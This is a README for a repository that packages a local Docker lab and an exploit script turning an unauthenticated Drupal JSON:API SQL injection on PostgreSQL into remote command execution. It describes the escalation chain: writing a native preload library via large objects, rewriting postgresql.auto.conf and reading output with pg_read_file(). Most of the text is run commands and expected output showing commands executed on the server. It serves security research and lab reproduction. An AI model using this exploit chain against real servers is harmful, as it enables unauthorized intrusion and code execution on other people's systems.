This repository contains a local lab and a short exploit for the Drupal JSON:API PostgreSQL SQL injection described in the Ambionics article.
The important part of the exploit is the PostgreSQL escalation: once the injection can evaluate a SELECT expression as a PostgreSQL superuser, it writes a native preload library through large objects, reloads postgresql.auto.conf, triggers session_preload_libraries, and retrieves command output with pg_read_file().
The exploit reads version() first and builds the PostgreSQL module magic block for the detected major version. It handles the PostgreSQL 12, 13-14, 15-17, and 18+ module ABI layouts. The local compiler must still produce a shared object for the same CPU architecture as the target PostgreSQL server.
The lab uses PostgreSQL 18.4, the latest PostgreSQL release at the time of writing. The PostgreSQL escalation path has been tested from PostgreSQL 12.20 through PostgreSQL 18.4.
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
The lab uses:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal is connected to PostgreSQL as the postgres superuser so the SELECT-only SQL injection can be escalated to RCE.
docker compose version
python3 --version
cc --versionExample output:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
Build and start the containers:
docker compose build --quiet
docker compose up -dExpected output:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Wait for Drupal to become healthy:
docker compose psExpected output:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
The lab listens on:
http://127.0.0.1:8089
Check the PostgreSQL version:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'Expected output:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
Check that JSON:API exposes the seeded article:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'Expected output:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txtExpected output:
Successfully installed requests-...
Execute id through the unauthenticated JSON:API SQL injection:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 idExpected output:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
Run another command:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'Expected output:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
Stop containers but keep the database volume:
docker compose downStop containers and delete the database volume:
docker compose down -v